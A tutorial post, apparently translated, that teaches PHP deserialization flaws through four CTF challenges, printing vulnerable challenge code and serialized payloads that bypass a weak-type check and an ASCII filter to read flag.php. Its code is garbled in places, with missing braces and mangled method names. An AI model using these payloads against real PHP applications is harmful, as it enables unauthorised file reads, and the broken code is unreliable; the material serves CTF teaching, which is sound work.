37: WEB vulnerability - full solution of PHP&JAVA deserialization

Mind map


Knowledge points

PHP deserialization

Principle: if the serialized string entered by the user is not detected, the attacker can control the deserialization process, resulting in uncontrollable consequences such as code execution, SQL injection, directory traversal, etc.
Some magic methods are automatically triggered during deserialization. When deserializing, it is possible to trigger some magic methods in the object.

  • serialize() / / convert an object to a string
  • unserialize() / / restore the string to an object

Trigger: the variable of unserialize function is controllable. There are available classes in the file. There are magic methods in the class:

  • _ construct() // Triggered when an object is created
  • _ destruct() // Triggered when the object is destroyed
  • _ call() // Triggering an invocable method in an object context
  • _ callStatic() // Triggering an invocable method in a static context
  • _ get() // Used to read data from inaccessible properties
  • _ set() // Used to write data to inaccessible properties
  • _ isset() // Triggered by calling isset() or empty() on an inaccessible property

reference resources: https://www.cnblogs.com/20175211lyz/p/11403397.html

Key points of this lesson:

  • Case 1: PHP deserialization warm-up question - no class problem - Local
  • Case 2: CTF deserialization small real problem - classless execution - instance
  • Case 3: CTF deserialization exercise - class magic method trigger - Local
  • Case 4: WANGDING cup 2020 Qinglong real topic - triggered by similar magic method - Example

Case 1: PHP deserialization warm-up question - no class problem - Local

Case demonstration 1: understanding serialization

PHP online execution: http://www.dooccn.com/php/

$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
//Serialized array
$s = serialize($a);
echo $s;
//Output results: a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}

Case demonstration 2: local instance

Source code: test php

include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
    echo "$flag";

Enter s:6:"xiaodi"; Successfully got the flag.

Case 2: CTF deserialization small real problem - classless execution - instance

Bugku CTF Title: https://ctf.bugku.com/challenges\#flag.php

The title is as follows, hint

After opening the scene, a login box appears

This login box is useless. Add it after the url according to the prompt? hint=111, the system returns the source code

Audit the source code and find the deserialization vulnerability.


<1> Use the php online execution tool to serialize the key

<2> Construct the request and put the deserialized key into the cookie,

<3> Release request, found no flag returned. Why? The reason is that there are two pits:

Next, delete the hint parameter in the request, change the cookie value to the serialized null value, release the request and successfully get the flag.

Case 3: CTF deserialization exercise - class magic method trigger - Local

Test code


class ABC{
    public $test;
    function __construct(){
        $test =1;
        echo 'Constructor called<br>';
    function __destruct(){
        echo 'Destructor called<br>';
    function __wakeup(){
        echo 'The wake-up function was called<br>';
echo 'create object a<br>';
$a = new ABC;
echo 'serialize<br>';
echo 'Deserialization<br>';
$a_unser = unserialize($a_ser);
echo 'The object is dying!';


Online execution results

Description of execution results,

  • When an object is created, it is called by default__ The construct() method,
  • When deserialized, the default call__ wakeup() function,
  • Called by default when the object is destroyed__ destruct() function

Case 4: WANGDING cup 2020 Qinglong real topic - triggered by similar magic method - Example

Case: 2020 - wangdingbei - Qinglong formation - Web areuserialz

Address: https://www.ctfhub.com/#/challenge

After entering the scene, the following code is displayed




class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";

    public function process() {
        if($this->op == "1") { 
        } else if($this->op == "2") {  //Weak type judgment, only value judgment, op assignment number 2 or string '2' is also true
            $res = $this->read();
        } else {
            $this->output("Bad Hacker!");

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        return $res;

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;

    function __destruct() { //The destructor is executed when the class is destroyed, that is, at the end
        if($this->op === "2")  //Strong type comparison to judge the value + type. You can use the number 2 or string '2' to bypass the judgment
            $this->op = "1";
        $this->content = "";


function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str); //Deserialize, so serialize first.


First of all, it is judged by the ctf naming and code function serialize. This topic examines the knowledge points of deserialization

  • First: get the flag and store the flag php
  • Second: two magic methods__ destruct __construct
  • Third: trigger destruct after transmitting str parameter data, and is exists_ Valid filtering
  • Fourth:__ process will be called in destruct, where op=1 writes and op=2 reads
  • Fifth: the object FileHandler, variables op, filename and content are involved to construct the output

Involving: deserialization magic method call, weak type bypass, ascii bypass

Weak type bypass

Use this class to read the flag. Only__ destruct function (destructor).
__ In the if ($this - > OP = = = "2") code of the destroy function, the OP is judged to be = = = strong type, and the op value will be assigned as 1 when it is string 2,
If ($this - > OP = = "2") code in the process function, use = = to judge (weak type) (the content can be read only when the op value is 2),
Therefore, there is a weak type comparison, and the number 2 or string '2' can be used to bypass the judgment.

ascii bypass

is_ The valid function also verifies the serialized string.
During PHP serialization, if the member is modified by private and protected, the invisible character \ x00 will be introduced. The ASCII code corresponding to these characters is 0, which is a character with ASCII not between 32 and 125. After is_ The valid function will return false in the future, which makes it impossible to execute the inverse sequence function.
Tested in php7 In the 2 + environment, public is used to modify members and serialize them. After deserialization, members will also be overwritten and modified by public. Therefore, it can be changed to public to bypass is_valid function validation.


class FileHandler{
  public $op=' 2';//The source code tells us to write when op is 1 and read when op is 2
  public $filename="flag.php";//Flag. Is called at the beginning of the file php
  public $content="xd";
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;

Serialize first

Pass the parameter and successfully get the flag.


Added by Pro Ninja on Sun, 02 Jan 2022 11:14:47 +0200